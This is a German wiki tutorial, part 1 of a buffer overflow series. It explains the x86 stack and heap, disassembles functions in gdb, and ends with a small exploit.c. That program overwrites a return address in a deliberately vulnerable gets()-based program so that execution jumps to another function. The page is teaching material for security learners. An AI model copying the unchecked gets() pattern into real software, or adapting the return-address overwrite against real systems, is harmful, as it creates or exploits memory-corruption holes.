Tutorials - Buffer Overflow Tutorial Teil 1: Grundlagen

Sprachenübersicht/Programmierung/C / C++/ C#/Security

Buffer Overflow Tutorial Teil 1: Grundlagen

Diese Seite wurde 28997 mal aufgerufen.

Dieser Artikel wurde in einem Wikiweb System geschrieben, das heißt, Sie können die Artikel jederzeit editieren, wenn Sie einen Fehler gefunden haben, oder etwas hinzufügen wollen.

Editieren Versionen Linkpartnerschaft Bottom Printversion

Keywords: Buffer Overflow, Stack overflow, heap overflow, stack overflow tutorial, heap overflow tutorial

Abbildung

Inhaltsverzeichnis



Vorwort Top



Die unzureichende Kontrolle von Eingabevariablen sind immer noch die häufigsten Schwachstellen von Software. Bei Programmiersprachen wie C oder C++ tritt, bedingt durch schlecht gesicherte C-Standardfunktionen, das Problem auf, dass über die Grenzen des Speichers, der angelegt wurde, geschrieben werden kann, und somit andere Inhalte im Speicher verändert werden können. Dieser Vorgang nennt man einen Buffer Overflow [1]. Im Konkreten geht es dabei meist darum, die Rücksprungadresse von Funktionen zu verändern, die das Einschleusen von Code ermöglichen, da wegen der Von-Neumann-Architektur [2] Daten und Programmcode im gleichen Speicher abgelagert werden.

Wenn man sich die aktuelle Situation der Sicherheitslücken von Programmen anschaut, wird man feststellen, dass ein Großteil der bekannten Sicherheitslücken entweder Heap-oder Stackoverflow Vulnerabilities sind. Wärend man früher in Interneteinführungen häufig hörte, dass .exe, .bat Datentypen gefährlich, Videos, Bilder, oder Audiodateien hingegen ungefährlich seien gibt es heute Schwachstellen in allen möglichen Formaten: [3],[3] und [4](auch wenn es sich hier um eine Playlist handelt). Auch interpretierte Sprachen sind nicht von Buffer Overflows gefeilt, man braucht nur eine Sicherheitslücke im Interpreter.

Wir werden uns in diesem Buffer Overflow Tutorial die Grundlagen zum ausnützen Buffer Overflows aneignen, und die gängigsten Fehler ausnutzen. Dabei soll sowohl Theorie, als auch Praxis behandelt werden.

Speicher Top

Abbildung



Bei heutigen x86er Architekturen arbeitet jedes Programm in einem virtuellen Adressraum, das die Memory Management Unit (MMU) dem physikalischen Speicher zuordnet. Der virtuelle Adressraum wird in drei Bereiche eingeteilt:

  • Stack

    Der Stack fängt, bei x86 Prozessoren, am oberen Ende des Speichers (Bsp: 0xFFFFFFFF) an, und wächst nach unten (in Richtung 0x00000000). Das Wort Stack kommt aus dem Englischen und bedeutet Stapel. Er wird so genannt, weil er ein LIFO [5] ist: wenn etwas hinzugefügt wird (push, schreiben), dann wird der Stapel erhöht, wird hingegen etwas zum lesen heruntergeholt (pop), dann wird der Stapel erniedrigt: ein Element wird gelesen und gelöscht. Ausserdem gibt es noch eine dritte Methode, die Top oder Peek genannt wird: es wird nur gelesen, aber nicht gelöscht. Der Stackpointer(ESP) wird dabei immer auf die letzte Adresse des Stacks gelegt. Die Operationen sind im Bild rechts zu sehen.

    Der Stack wird in C/C++ bei statischen Variablen und Prozessorregister benutzt. Ein Beispiel, das Speicherelemente im Stack anlegt:

    Code:

    char Test[100]

Abbildung



  • Heap/Daten

    Der Heap [9] (Halde, Haufen) wird dazu verwendet um dynamische Daten zu verwalten. Im Heap müssen Speicherbereiche nicht wie im Stack wieder umgekehrt freigegeben werden, beim Heap kann Speicher dynamisch angefordert werden. Der Heap wird von Funktionen wie malloc() und realloc() oder von new benutzt und mit free() bzw. delete wieder freigegeben.



  • Codebereich

    Hier wird der Code, der ausgeführt wird, gelagert.



Stack Overflow Top



Um Stack Overflows verstehen zu können, müssen wir uns den Aufruf einer Funktion genauer ansehen. Dazu verwende ich ein ähnliches Beispiel wie aus dem Heise Artikel [6]. Ich kompiliere zuerst das Programm, und disassemble es mit gdb, einem guten Debugger, der bei fast allen GNU/Linux Distributionen dabei ist:

Code:


Datei main.c:

int TestFunktion(int a, int b)
{
        char Buffer1[8];
        char Buffer2[16];

        return;
}

int main()

        TestFunktion(0, 1);
}

Kompilieren:

simon@Cottonmouth:~/cpp/OverflowTutorial$ gcc -ggdb main.c -o test
simon@Cottonmouth:~/cpp/OverflowTutorial$ 

Disassembeln:

simon@Cottonmouth:~/cpp/OverflowTutorial$ gdb test
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disas TestFunktion
Dump of assembler code for function TestFunktion:
0x08048324 <TestFunktion+0>:    push   %ebp
0x08048325 <TestFunktion+1>:    mov    %esp,%ebp
0x08048327 <TestFunktion+3>:    sub    $0x20,%esp
0x0804832a <TestFunktion+6>:    mov    $0x1,%eax
0x0804832f <TestFunktion+11>:   leave  
0x08048330 <TestFunktion+12>:   ret    
End of assembler dump.
(gdb) 



Mit disas TestFunktion haben wir den Assembler Code von der TestFunktion ausgegeben. Hier das ganze nochmal kommentiert:

Code:


push   %ebp           // Sichert den EBP
mov    %esp,%ebp      // Kopiert den ESP(Stack Pointer in den ESB)
sub    $0x20,%esp     // Erhöht den ESP um 0x20 und macht damit mehr Platz für beide Buffer
mov    $0x1,%eax      // Schiebt 1 in das EAX Register, Rückgabewert
leave  
ret



Wenn diese Funktion jetzt aufgerufen wird, werden zuerst die beiden Variablen int a und int b auf den Stack kopiert. Anschließend wird die Rücksprungadresse (4 Bytes) auf den Stack gelegt. Bei einem RET (return) aus der Funktion wird der Instruction Pointer(EIP, zeigt auf den auszuführenden Code mit der Rücksprungadresse geladen. Nach der Rücksprungadresse kommen nochmal 4 Bytes, die für den EBP [7] (Base Pointer, ist dafür zuständig um ein stack frame zu erstellen, der Stackpointer verändert sich bei jedem push/pop, damit kann man besser mit Variablen in der Funktion arbeiten) benutzt werden. Anschließend kommen unsere Variablen aus der Funktion, die zwei Buffer. Der Stack schreibt, für unsere Zwecke gut geeignet zwar nach unten, die Arrays die in C/C++ verwendet werden(in diesem Fall unsere zwei Buffer) gehen aber aufwärts.

Abbildung



Wenn jetzt eine Funktion benutzt wird, die es uns erlaubt über die Begrenzung vom Buffer1 zu schreiben, können wir nach oben schreiben, so dass der ESP und die Rücksprungadresse überschrieben wird.

Beispiel: Veränderung der Rücksprungadresse Top



Als Beispiel verwenden wir ein ähnliches Beispiel, wie das vom BuHa ExploitMe Contest [8], hier geht es darum die Rücksprungadresse so zu setzen, das sie in eine andere Funktion springt. Dabei wird die unsichere Funktion gets verwendet, die nicht auf Speicherlänge überprüft:

Code:


Datei main.c:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void Done(void);
const char * const BrokenFunction(void);

int main()
{
        printf("You wrote: `%s'\n", BrokenFunction());
        return 0;
}

const char * const BrokenFunction(void)
{
        char buf[128];
        gets(buf);
        return strdup(buf);
}

void Done(void)
{
        printf("Got it!\n");
        exit(0);
}

Kompilieren:

simon@Cottonmouth:~/cpp/OverflowTutorial/1$ gcc main.c -o main
/tmp/cc4bmeRp.o: In function `BrokenFunction':
main.c:(.text+0x44): warning: the `gets' function is dangerous and should not be used.

Disassembeln:

simon@Cottonmouth:~/cpp/OverflowTutorial/1$ gdb main
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disas Done
Dump of assembler code for function Done:
0x08048479 <Done+0>:    push   %ebp
0x0804847a <Done+1>:    mov    %esp,%ebp
0x0804847c <Done+3>:    sub    $0x8,%esp
0x0804847f <Done+6>:    movl   $0x80485b9,(%esp)
0x08048486 <Done+13>:   call   0x804832c <puts@plt>
0x0804848b <Done+18>:   movl   $0x0,(%esp)
0x08048492 <Done+25>:   call   0x804835c <exit@plt>
End of assembler dump.
(gdb) disas BrokenFunction
Dump of assembler code for function BrokenFunction:
0x08048458 <BrokenFunction+0>:  push   %ebp
0x08048459 <BrokenFunction+1>:  mov    %esp,%ebp
0x0804845b <BrokenFunction+3>:  sub    $0x88,%esp
0x08048461 <BrokenFunction+9>:  lea    0xffffff80(%ebp),%eax
0x08048464 <BrokenFunction+12>: mov    %eax,(%esp)
0x08048467 <BrokenFunction+15>: call   0x804831c <gets@plt>
0x0804846c <BrokenFunction+20>: lea    0xffffff80(%ebp),%eax
0x0804846f <BrokenFunction+23>: mov    %eax,(%esp)
0x08048472 <BrokenFunction+26>: call   0x804830c <strdup@plt>
0x08048477 <BrokenFunction+31>: leave  
0x08048478 <BrokenFunction+32>: ret    
End of assembler dump.
(gdb) 



Wir wollen in die Funktion Done() springen, dazu wählen wir die Adresse 0x08048479, die wir mit disas Done bei gdb bekommen.

Damit wir die Rücksprungadresse überschreiben können, müssen wir jetzt 128 Bytes + 4 Byte EBP und anschließend die neue Rücksprungadresse für den EIP(Instruction Pointer) einfügen. Das folgende Programm schreibt zuerst 22 * 6Byte "Hallo!" und anschließend die neue Adresse in den Buffer:

Code:


Datei exploit.c:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//Unsere Adresse: 0x08048479
//Wir brauchen: 132 bytes: 128 + 4 EBP

int main(int args, char **argv)
{
        int i = 0;

        for(i = 0; i < 22; i++)
                printf("Hallo!");

        //Bringt die Adresse auf 4 Byte, unsigned
        unsigned EIP = 0x08048479;
        fwrite(&EIP, 1, 4, stdout);

        return 0;
}

Kompilieren & Ausführen:

simon@Cottonmouth:~/cpp/OverflowTutorial/1$ gcc exploit.c -o exploit
simon@Cottonmouth:~/cpp/OverflowTutorial/1$ ./exploit | ./main
Got it!



Wir haben unseren ersten Buffer Overflow ausgenützt. Das nächste Kapitel kann bei Problemen mit diesem Beispiel helfen.

Stack-Adressierung Top



Das letzte Beispiel wurde mit einem gcc4 kompiliert, deshalb sind zwischen dem Beginn des Buffers, und der Adresse 132 Byte (4 EBP + 128 Buffer). Das funktioniert nur, weil bei gcc4 die Praktik mehr Speicher zu reservieren, als nötig ist wieder zurückgenommen wurde, die bei gcc3 eingeführt wurde.

Wieviel Speicher reserviert wurde, das zeigt uns der Assembler Code (lea 0xffffff80(%ebp),%eax).

Zusammenfassung Top



In diesem Teil ging es darum, die Grundlagen über die Speicherverwaltung zu erlangen, dabei wurde der virtuelle Programmspeicher und der Aufbau einer Funktion erklärt. Am Schluss wurden die Grundlagen eines Stack Overflows erklärt und ein praktisches Beispiel zur Manipulation der Adresse durchgeführt. Im nächsten Teil wird es darum gehen, den Buffer mit Code zu füllen und auszuführen. Ausserdem wir eine Format-String-Attacke gezeigt.

Verweise Top













Weblinks Top





Gibt es noch irgendwelche Fragen, oder wollen Sie über den Artikel diskutieren?

Editieren Versionen Linkpartnerschaft Top Printversion

Haben Sie einen Fehler gefunden? Dann klicken Sie doch auf Editieren, und beheben den Fehler, keine Angst, Sie können nichts zerstören, das Tutorial kann wiederhergestellt werden

Sprachenübersicht/Programmierung/C / C++/ C#/Security/Buffer Overflow Tutorial Teil 1: Grundlagen